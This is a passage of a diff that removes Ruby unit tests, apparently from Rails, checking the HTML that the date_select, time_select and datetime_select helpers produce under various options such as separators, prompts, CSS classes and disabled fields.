- expected << "<option value=\"\"></option>\n"
- 1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
- expected << "<option value=\"\"></option>\n"
- 1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", :discard_year => true, :include_blank=>true)
- end
-
- def test_date_select_cant_override_discard_hour
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", :discard_hour => false)
- end
-
- def test_date_select_with_html_options
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", {}, :class => 'selector')
- end
-
- def test_date_select_with_html_options_within_fields_for
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- output_buffer = fields_for :post, @post do |f|
- concat f.date_select(:written_on, {}, :class => 'selector')
- end
-
- expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]" class="selector">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]" class="selector">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-
- expected << "</select>\n"
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_date_select_with_separator
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << " / "
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << " / "
-
- expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", { :date_separator => " / " })
- end
-
- def test_date_select_with_separator_and_order
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- expected << " / "
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << " / "
-
- expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", { :order => [:day, :month, :year], :date_separator => " / " })
- end
-
- def test_date_select_with_separator_and_order_and_year_discarded
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- expected << " / "
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
- expected << %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
-
- assert_dom_equal expected, date_select("post", "written_on", { :order => [:day, :month, :year], :discard_year => true, :date_separator => " / " })
- end
-
- def test_date_select_with_default_prompt
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
- expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
- expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
- expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", :prompt => true)
- end
-
- def test_date_select_with_custom_prompt
- @post = Post.new
- @post.written_on = Date.new(2004, 6, 15)
-
- expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
- expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
- expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
- expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
-
- expected << "</select>\n"
-
- assert_dom_equal expected, date_select("post", "written_on", :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day'})
- end
-
- def test_time_select
- @post = Post.new
- @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
- expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
- expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
- expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, time_select("post", "written_on")
- end
-
- def test_time_select_without_date_hidden_fields
- @post = Post.new
- @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, time_select("post", "written_on", :ignore_date => true)
- end
-
- def test_time_select_with_seconds
- @post = Post.new
- @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
- expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
- expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
- expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, time_select("post", "written_on", :include_seconds => true)
- end
-
- def test_time_select_with_html_options
- @post = Post.new
- @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
- expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
- expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
- expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, time_select("post", "written_on", {}, :class => 'selector')
- end
-
- def test_time_select_with_html_options_within_fields_for
- @post = Post.new
- @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
- output_buffer = fields_for :post, @post do |f|
- concat f.time_select(:written_on, {}, :class => 'selector')
- end
-
- expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
- expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
- expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
- expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_time_select_with_separator
- @post = Post.new
- @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
- expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
- expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
- expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- expected << " - "
-
- expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- expected << " - "
-
- expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, time_select("post", "written_on", { :time_separator => " - ", :include_seconds => true })
- end
-
- def test_time_select_with_default_prompt
- @post = Post.new
- @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
- expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
- expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
- expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
- expected << %(<option value="">Hour</option>\n)
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
- expected << %(<option value="">Minute</option>\n)
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, time_select("post", "written_on", :prompt => true)
- end
-
- def test_time_select_with_custom_prompt
- @post = Post.new
- @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
- expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
- expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
-
- expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
- expected << %(<option value="">Choose hour</option>\n)
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
- expected << %(<option value="">Choose minute</option>\n)
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, time_select("post", "written_on", :prompt => {:hour => 'Choose hour', :minute => 'Choose minute'})
- end
-
- def test_time_select_with_disabled_html_option
- @post = Post.new
- @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
-
- expected = %{<input type="hidden" id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]" value="2004" />\n}
- expected << %{<input type="hidden" id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]" value="6" />\n}
- expected << %{<input type="hidden" id="post_written_on_3i" disabled="disabled" name="post[written_on(3i)]" value="15" />\n}
-
- expected << %(<select id="post_written_on_4i" disabled="disabled" name="post[written_on(4i)]">\n)
- 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
- expected << " : "
- expected << %(<select id="post_written_on_5i" disabled="disabled" name="post[written_on(5i)]">\n)
- 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, time_select("post", "written_on", {}, :disabled => true)
- end
-
- def test_datetime_select
- @post = Post.new
- @post.updated_at = Time.local(2004, 6, 15, 16, 35)
-
- expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
- expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
- expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
- expected << "</select>\n"
-
- expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
- expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
- expected << "</select>\n"
-
- expected << " &mdash; "
-
- expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
- expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n}
- expected << "</select>\n"
- expected << " : "
- expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
- expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
- expected << "</select>\n"
-
- assert_dom_equal expected, datetime_select("post", "updated_at")
- end
-
- def test_datetime_select_defaults_to_time_zone_now_when_config_time_zone_is_set
- # The love zone is UTC+0
- mytz = Class.new(ActiveSupport::TimeZone) {
- attr_accessor :now
- }.create('tenderlove', 0)
-
